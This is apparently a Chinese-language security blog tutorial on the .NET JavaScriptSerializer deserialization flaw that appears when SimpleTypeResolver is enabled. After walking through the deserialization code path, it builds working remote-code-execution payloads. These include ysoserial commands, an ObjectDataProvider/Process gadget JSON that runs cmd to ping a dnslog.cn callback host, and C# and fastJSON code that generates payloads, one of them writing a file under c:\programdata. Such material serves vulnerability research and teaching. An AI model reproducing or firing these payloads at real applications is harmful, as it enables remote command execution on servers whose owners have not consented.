.net JavaScriptSerializer反序列化漏洞

net中的javascriptserializer

在.NET处理 Ajax应用的时候，通常序列化功能由JavaScriptSerializer类提供，它是.NET2.0之后内部实现的序列化功能的类，位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用，让开发者轻松实现.Net中所有类型和Json数据之间的转换，但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。

 第一步 看javascript 与类之间的相互转换

序列化

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="Myjavascript" %>
<%@ Import Namespace="System.Web.Script.Serialization" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
    Myjavascript r= new Myjavascript { Ivale="",Svale=""};
    var serializer = new JavaScriptSerializer();
    var serializedResult = serializer.Serialize(r);
    //var deserializedResult = serializer.Deserialize(serializedResult);
    Response.Write(serializedResult);
    }
</script>

 

 之前介绍过其它组件反序列化漏洞原理得知需要__type这个Key的值，要得到这个Value就必须得到程序集全标识（包括程序集名称、版本、语言文化和公钥），那么在JavaScriptSerializer中可以通过实例化SimpleTypeResolver类，作用是为托管类型提供类型解析器，可在序列化字符串中自定义类型的元数据程序集限定名称。笔者将代码改写添加类型解析器

 var serializer = new JavaScriptSerializer(new SimpleTypeResolver());

 

 反序列化

默认情况下JavaScriptSerializer不会使用类型解析器，所以它是一个安全的序列化处理类，漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类，如果创建了，并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞

反序列化过程就是将Json数据转换为对象，在JavaScriptSerializer类中创建对象然后调用DeserializeObject或Deserialize方法实现的。

 我们进入方法看一看 可以知道 当序列化json的字段没有超过最大范围时 执行BaseicDeserialize方法

继续更进方法发现 如果传入是NEXTNoeEmptyChar而且dictionary里面包含_type则交给ConvertObjecttotype处理

 继续更进发现调用ConvertDictionartToObject

 这段代码首先判断ServerTypeFieldName存在值的话就输出赋值给对象s，第二步将对象s强制转换为字符串变量serverTypeName，第三部获取解析器中的实际类型，并且通过System.Activator的CreateInstance构造类型的实例

 Activator类提供了静态CreateInstance方法的几个重载版本，调用方法的时候既可以传递一个Type对象引用，也可以传递标识了类型的String，方法返回对新对象的引用。下图Demo展示了序列化和反序列化前后的效果：

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="Myjavascript" %>
<%@ Import Namespace="System.Web.Script.Serialization" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
    Myjavascript r= new Myjavascript { Ivale="123",Svale=""};
    var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
    var serializedResult = serializer.Serialize(r);
    var deserializedResult = serializer.Deserialize<Myjavascript>(serializedResult);
    Response.Write(serializedResult);
    Response.Write(deserializedResult.Ivale);
    }
</script>

 

 打造poc

首先我们使用yso打造poc

C:UserslocalhostDesktopysoserial-1.34Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c ping zn8q2v.dnslog.cn
C:UserslocalhostDesktopysoserial-1.34Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c "ping zn8q2v.dnslog.cn"
{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
        }
    }
}

    var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
    var payload=@"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
        }
    }
}";
    var deserializedResult = serializer.Deserialize<Object>(payload);

可以看见成功触发poc

 接下来我们手工打造poc

也是使用

ObjectDataProvider作为GADGETS

 因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，如下代码Demo1

    ObjectDataProvider r= new ObjectDataProvider();
    r.ObjectInstance=new ProcessStartInfo();
    Type tye=r.ObjectInstance.GetType();
    PropertyInfo propertyName=tye.GetProperty("FileName");
    propertyName.SetValue(r.ObjectInstance,"cmd.exe",null);
    PropertyInfo propertyName2=tye.GetProperty("Arguments");
    propertyName2.SetValue(r.ObjectInstance,"/c ping dk87nn.dnslog.cn",null);
    r.MethodName="Start";
    var serializers = new JavaScriptSerializer(new SimpleTypeResolver());
    var payload = serializers.Serialize(r);
    var deserializedResult = serializers.Deserialize<Object>(payload);
    Response.Write(payload);

Demo2

 用fastjson 解决

System.Runtime循环报错

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="Myjavascript" %>
<%@ Import Namespace="System.Web.Script.Serialization" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="fastJSON" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        JSONParameters jSONParameters = new JSONParameters
        {
            UseExtensions = true,
        };
        ObjectDataProvider ok = new ObjectDataProvider();
        Process start = new Process();
        start.StartInfo.FileName = "cmd.exe";
        start.StartInfo.Arguments = "/c echo 123456>>c:\programdata\2xxxxx15.txt";
        ok.MethodName = "Start";
        ok.IsInitialLoadEnabled = true;
        ok.ObjectInstance = start;
        var s = JSON.ToJSON(ok, jSONParameters);
        jSONParameters.IgnoreAttributes.Add(typeof(IntPtr));
        //var s = "{"__type":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3","System.IntPtr, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"4","System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"5"},"__type":"1","ObjectType":{"__type":"2"},"ObjectInstance":{"__type":"3","MaxWorkingSet":{"__type":"4"},"MinWorkingSet":{"__type":"4"},"PriorityBoostEnabled":true,"PriorityClass":"Normal","ProcessorAffinity":{"__type":"4"},"StartInfo":{"__type":"5","Verb":"","Arguments":"/c echo 123456>>c:\programdata\2xxxxx15.txt","CreateNoWindow":false,"RedirectStandardInput":false,"RedirectStandardOutput":false,"RedirectStandardError":false,"StandardErrorEncoding":null,"StandardOutputEncoding":null,"UseShellExecute":true,"UserName":"","Password":null,"PasswordInClearText":null,"Domain":"","LoadUserProfile":false,"FileName":"cmd.exe","WorkingDirectory":"","ErrorDialog":false,"ErrorDialogParentHandle":{"__type":"4"},"WindowStyle":"Normal"},"SynchronizingObject":null,"EnableRaisingEvents":false,"Site":null},"MethodName":"Start","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
        var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
        var serializedResult = serializer.Serialize(s);
        var deserializedResult = serializer.Deserialize<Object>(serializedResult);
        Response.Write(s);}

</script>

 参考

https://www.google.com.hk/search?newwindow=1&safe=strict&ei=K9HdX6OaJ4-B0wS945aICA&q=System.Reflection.RuntimeModule&oq=System.Reflection.RuntimeModule&gs_lcp=CgZwc3ktYWIQDFAAWABgtS5oAHAAeACAAQCIAQCSAQCYAQCqAQdnd3Mtd2l6&sclient=psy-ab&ved=0ahUKEwjj28DH5tntAhWPwJQKHb2xBYEQ4dUDCA0&uact=5
https://www.freebuf.com/articles/web/198617.html
https://www.syncfusion.com/forums/124633/a-circular-reference-was-detected-while-serializing-an-object-of-type-system-reflection
https://blog.csdn.net/xcmonline/article/details/74977855
https://www.coder.work/article/3048274
http://www.codingwhy.com/view/4508.html
https://www.infragistics.com/help/wpf/creating-an-xmldataprovider
https://www.anquanke.com/post/id/199921
https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider.constructorparameters?view=net-5.0#System_Windows_Data_ObjectDataProvider_ConstructorParameters
https://stackoverflow.com/questions/37092145/how-to-use-an-objectdataprovider-to-bind-an-enum-to-a-combobox-in-xaml
https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=net-5.0

 GADGETS